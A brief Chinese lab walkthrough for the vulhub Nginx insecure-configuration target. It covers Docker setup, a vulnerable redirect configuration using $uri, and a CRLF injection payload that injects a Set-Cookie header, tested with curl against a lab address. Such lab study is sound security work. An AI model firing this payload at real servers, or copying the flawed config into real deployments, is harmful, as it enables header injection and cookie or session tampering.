搭建
利用 docker 搭建 vulhub 靶场
git clone https://github.com/vulhub/vulhub.git
进入 /vulhub/nginx/insecure-configuration 目录
启动前关闭现有的 8080、8081、8082 端口服务,避免端口占用
docker-compose up -d
进入容器
docker exec -it insecure-configuration_nginx_1 /bin/bash
漏洞检测
Nginx会将`$uri`进行解码,导致传入%0d%0a即可引入换行符,造成CRLF注入漏洞。
错误的配置文件示例(原本的目的是为了让http的请求跳转到https上):
```
location / {return 302 https://$host$uri;
}
```
Payload: `http://your-ip:8080/%0d%0aSet-Cookie:%20a=1`,可注入Set-Cookie头。
curl -I http://172.16.12.129:8080/%0a%0dSet-Cookie:%20a=2